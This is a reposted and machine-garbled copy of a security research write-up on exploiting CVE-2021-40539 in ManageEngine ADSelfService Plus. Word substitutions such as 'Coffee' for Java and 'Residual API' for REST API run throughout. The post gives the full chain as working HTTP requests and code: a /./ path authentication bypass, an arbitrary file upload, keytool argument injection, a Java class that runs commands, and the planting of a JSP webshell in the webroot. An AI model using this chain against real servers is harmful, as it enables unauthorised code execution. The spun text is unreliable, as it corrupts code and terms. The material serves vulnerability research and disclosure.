Skip to content Skip to sidebar Skip to footer

Manageengine Multiple Products- Authenticated Arbitrary File Upload

First steps

ADSelfService Plus from ManageEngine was reported as exploited in the wild on the 8th of September1.The solution's editor quickly deployed a security gear up and released an commodity that has then been updated several times2. At the beginning ManageEngine squad was only mentioning an exploit related to the REST API. To figure out what was really happening, we deployed a vulnerable version and a patched version of the solution on a lab and nosotros started digging into this issue.

ADSelfService Plus is a massive Java application. However, a quick hash comparing betwixt both versions of the numerous included jars allows identifying the parts of the source code that inverse with the update. We can therefore decompile the interesting athenaeum and diff the resulting files. Nosotros used Meldiii for this concluding task as it conveniently compares files, folders and subfolders and highlights the differences.

Meld comparison

Hallmark Featherbed

Nosotros know from the editor's original communication that we can gain unauthorized access through the Residual API. The previous diff showed that the com.manageengine.ads.fw.api.RestAPIUtil class, from the ManageEngineADSFrameworkJava jar, had inverse with the patch. It seems like a expert starting point for a patch analysis.

It appears that, after the patch, a call to request.getRequestURI(); was replaced by SecurityUtil.getNormalizedURI(request.getRequestURI()); (as seen in the Meld comparison above).

The code of the getNormalizedURI function is the post-obit:

Update into RestAPIUtil class.

This is clearly a patch that fixes a path traversal vulnerability, which can accept a serious impact. A like instance was a patch applied on Apache httpd at the same time5. In our current case the patch is addressed for an authentication bypass.

A nuclei template6, published near a week after the first informational, details how to test if your version is vulnerable. The test payload is:

          Mail /./RestAPI/LogonCustomization HTTP/1.ane Host: {{Hostname}} Content-Type: application/10-www-class-urlencoded Content-Length: 27  methodToCall=previewMobLogo        

Sending the /./ payload to both our patched and vulnerable instances points differences in the servers' responses.

Request on a vulnerable server.
Request on a vulnerable server.
Request on an up to date server.
Request on an upward to date server.

At this step, the response torso indicates that the path traversal request really bypasses the authentication process. Allow'southward see what nosotros can exercise while authenticated on the Rest API.

Arbitrary file upload through the API

The LogonCustomization class, located in the AdventNetADSMClient jar, implements the previewMobLogo method equally used in the Nuclei template'southward PoC.

          public ActionForward previewMobLogo(ActionMapping mapping, ActionForm course, HttpServletRequest asking, HttpServletResponse response) {        

Other methods of this class including i named unspecified looks promising. Indeed, taking a quick look at it reveals interesting calls to file uploads related functions. Interestingly enough, ManageEngine'due south publication2 includes IOCs that states: "check for Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig". Also, the unspecified method's lawmaking looks for parameters related to smartcards.

                      public ActionForward unspecified(ActionMapping mapping, ActionForm grade, HttpServletRequest request, HttpServletResponse response) throws Exception {     [...]     try {         [...]        } else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {  // we are looking for smarcard related actions           Cord functioning = request.getParameter("functioning");           SmartCardAction smartCardAction = new SmartCardAction();           if (performance.equalsIgnoreCase("Add")) {       // and how to add together one             request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));             asking.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));             smartCardAction.addSmartCardConfig(mapping, (ActionForm)dynForm, request, response);                  

An analysis of the previous method makes it possible to determine the parameters necessary for a file upload on the server. This asking illustrates the upload of an arbitrary file in theManageEngine\ADSelfService Plus\bin folder.

          POST /./RestAPI/LogonCustomization HTTP/1.i Host: 192.168.1.106:9251 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: Content-Blazon: application/ten-www-form-urlencoded Accept-Linguistic communication: en-The states,en;q=0.five Take-Encoding: gzip, deflate Upgrade-Insecure-Requests: one Content-Type: multipart/form-information; boundary=---------------------------39411536912265220004317003537 Te: trailers Connection: close Content-Length: 1212  -----------------------------39411536912265220004317003537 Content-Disposition: course-data; name="methodToCall"  unspecified -----------------------------39411536912265220004317003537 Content-Disposition: grade-information; name="Save"  yep -----------------------------39411536912265220004317003537 Content-Disposition: class-data; name="form"  smartcard -----------------------------39411536912265220004317003537 Content-Disposition: form-data; proper noun="performance"  Add together -----------------------------39411536912265220004317003537 Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="exam.txt" Content-Type: application/octet-stream  arbitrary content -----------------------------39411536912265220004317003537--                  

A successful upload results in the server replying with a 404 response code.

          HTTP/1.1 404 Not Found Content-Type: text/html;charset=UTF-8 Connection: close Content-Length: 135536 [...]        

We can nevertheless confirm the presence of the file in the directory.

Arbitrary file upload

By performing this request, we confirm some of ManageEngine's IOCs2:  the 404 response and the presence of the errors in the logs. However, the logs from the NullPointerException are not the same every bit the i reported past ManageEngine.

          [00:05:39:578]|[10-22-2021]|[SYSERR]|[INFO]|[79]: java.lang.ClassCastException: org.apache.catalina.connector.RequestFacade cannot be cast to com.adventnet.iam.security.SecurityRequestWrapper| [00:05:39:578]|[x-22-2021]|[SYSERR]|[INFO]|[79]: 	at com.adventnet.sym.adsm.common.webclient.util.ClientUtil.getFileFromRequest(ClientUtil.java:768)| [...] [00:05:39:685]|[x-22-2021]|[SYSERR]|[INFO]|[79]: java.lang.NullPointerException| [00:05:39:685]|[x-22-2021]|[SYSERR]|[INFO]|[79]: 	at com.adventnet.sym.adsm.common.server.util.UserUtil.getUserPersonal(UserUtil.java:1039)| [00:05:39:685]|[10-22-2021]|[SYSERR]|[INFO]|[79]: 	at com.adventnet.sym.adsm.mutual.server.util.UserUtil.getUserPersonal(UserUtil.coffee:grand)|        

At this bespeak, information technology is possible to upload whatever kind of file with arbitrary content into the ManageEngine\ADSelfService Plus\bin directory.

Arguments injection

While updates of the ManageEngine documentation requite more details most this issue7, the exploitation of the /RestAPI/Connection endpoint is still missing at this stage.

The com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction class seems to exist related to this API endpoint. A quick wait into it showed up the following method:

                      public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest asking, HttpServletResponse response) throws Exception {     String action = request.getParameter("action");     if (activity != nil && activity.equals("generateCSR"))       SSLUtil.createCSR(request);      return actionMap.findForward("SSLTool");   }        

The openSSLTool method takes an action HTTP parameter and will telephone call SSLUtil.createCSR if it equals generateCSR. Past digging into the source code of this method, nosotros tin can observe 2 unsanitized parameters, keysize and validity, that are used to build the parameter of a runCommand call:

                      public static JSONObject createCSR(JSONObject sslSettings) throws Exception {     [...]     StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe  -J-Duser.language=en -genkey -allonym tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");     // the control is prepared     keyCmd.append(countersign);     keyCmd.append(" -storePass ").suspend(password);     String keyLength = sslSettings.optString("KEY_LENGTH", null);     if (keyLength != null && !keyLength.equals(""))        keyCmd.append(" -keysize ").append(keyLength);     // first parameter     String validity = sslSettings.optString("VALIDITY", aught);     if (validity != zero && !validity.equals(""))        keyCmd.append(" -validity ").append(validity);    // second parameter     [...]     JSONObject jStatus = new JSONObject();                   Cord status = runCommand(keyCmd.toString());      // command is executed here     [...]                  

Past post-obit that call we end into the runRuntimeExec method (in theAdventNetADSMServer jar):

                      public void runRuntimeExec() {     if (this.command == null) {       if (this.proc == cipher)         return;        getStdErr();     } else {       Process p = cipher;       String line = zero;       try {         p = Runtime.getRuntime().exec(this.control);       } catch (Exception e) {         systemerr("The control could not exist executed");         this.result = fake;       }        boolean isPingCmd = (this.command.indexOf("RemCom") != -1);       this.outcome = runCommandStatus(p, isPingCmd);     }    }        

Overall, it appears we tin inject into a command line that launches the keytool exe. Even so, the utilise of Runtime.getRuntime().exec() prevents escaping from the expected target binary. Fortunately for united states, we are still able to inject arbitrary parameters. One feature of keytool is to be able to load a Java class8. If we can build our ain Java class, upload it with an API call to LogonCustomization, we could and then apply it withkeytool in order to get information technology executed.

A bit of dynamic assay with Procmon and a query to the /RestAPI/Connection endpoint can confirm the execution of the keytool binary.

          POST /./RestAPI/Connection HTTP/1.ane Host: 192.168.1.105:9251 User-Amanuensis: Mozilla/five.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Take: Content-Type: awarding/x-world wide web-form-urlencoded Accept-Language: en-United states of america,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: one Content-Type: application/x-www-form-urlencoded Te: trailers Connection: close Content-Length: 43  methodToCall=openSSLTool&action=generateCSR        

Monitoring with procmon.

The executed command is the post-obit:

          ..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -dName "CN=null, OU= null, O=zero, L=null, Due south=cipher, C=null" -keystore ..\jre\bin\SelfService.keystore        

Chaining everything together to get code execution

We saw we can bypass the authentication process by calculation the /./ snippet to the Residuum API road and perform an arbitrary file upload. Nosotros also saw that an capricious Coffee course can exist loaded through an injection in the keytool binary parameters. Combining both issues, we should be able to get an arbitrary code execution.

The post-obit Java lawmaking, which executes calc.exe, will exist used as a proof of concept.

          import java.io.*; public class Si{     static{         endeavour{             Runtime rt = Runtime.getRuntime();             Process proc = rt.exec("calc");         }grab (IOException e){}     } }        

An of import annotation for a successful exploitation is that nosotros need to compile our code with the aforementioned Java major version8 every bit the solution.

          C:\ManageEngine\ADSelfService Plus\jre\bin> java -version java version "ane.8.0_162" Coffee(TM) SE Runtime Surroundings (build i.8.0_162-b12) Coffee HotSpot(TM) 64-Chip Server VM (build 25.162-b12, mixed mode)  C:\> javac Si.coffee        

One time properly compiled, our PoC class can be uploaded to the server using the LogonCustomization endpoint, as previously:

          POST /./RestAPI/LogonCustomization HTTP/1.1 Host: 192.168.1.105:9251 Content-Length: 989 Content-Type: multipart/class-data; boundary=fcc62d4b058687f46994b5245a8c8e9f User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: form-data; proper name="methodToCall"  unspecified --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: form-data; name="Salve"  yes --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: course-data; proper noun="course"  smartcard --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: form-data; name="operation"  Add --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"  seven   StackMapTableLineNumberTabl<clinit> SourceFileSi.java                          calc                             ava/io/IOExceptionSijava/lang/Objectjava/lang/Runtime getRuntime()Ljava/lang/Runtime;exec'(Ljava/lang/String;)Ljava/lang/Process;! *   IK*LK   N --fcc62d4b058687f46994b5245a8c8e9f--        

All that's left is to force the loading of our newly uploaded grade through the keytool.exe argument injection.

          Postal service /./RestAPI/Connection HTTP/1.1 Host: 192.168.1.105:9251 User-Amanuensis: Mozilla/five.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: Content-Type: application/ten-www-form-urlencoded Accept-Linguistic communication: en-U.s.,en;q=0.five Take-Encoding: gzip, debunk Upgrade-Insecure-Requests: 1 Content-Type: awarding/x-www-form-urlencoded Te: trailers Connection: close Content-Length: 132  methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"        

Yeah!

For a piddling more confort, it is too possible to exploit the file upload to write a JSP webshell on the filesystem. It tin then be moved into the webroot with the Coffee code execution.

          import java.io.*; public class Si{     static{         try{             Runtime rt = Runtime.getRuntime();             Procedure proc = rt.exec(new Cord[] {"cmd", "/c", "re-create", "helloworld.jsp", "..\\webapps\\adssp\\help\\admin-guide\\helloworld.jsp"});         }catch (IOException e){}     } }        

Later triggering the command execution with keytool, our uploaded webshell is available at http(s)://TARGET/help/admin-guide/helloworld.jsp.

An exploitation code has been released on our GitHub.

Conclusion

None of the public analysis of this vulnerability mentions a Java class upload. The CISA report also mentions that "Subsequent requests are then made to dissimilar API endpoints to farther exploit the victim's organisation." which is not the case here. Chances are in-the-wild attackers made apply of another exploitation path. Anyway, the patch applied by ManageEngine only fixes the path traversal result. While really preventing our exploitation, this leaves opened the file upload and parameter injection problems for time to come use.

walkertheriest.blogspot.com

Source: https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html

Post a Comment for "Manageengine Multiple Products- Authenticated Arbitrary File Upload"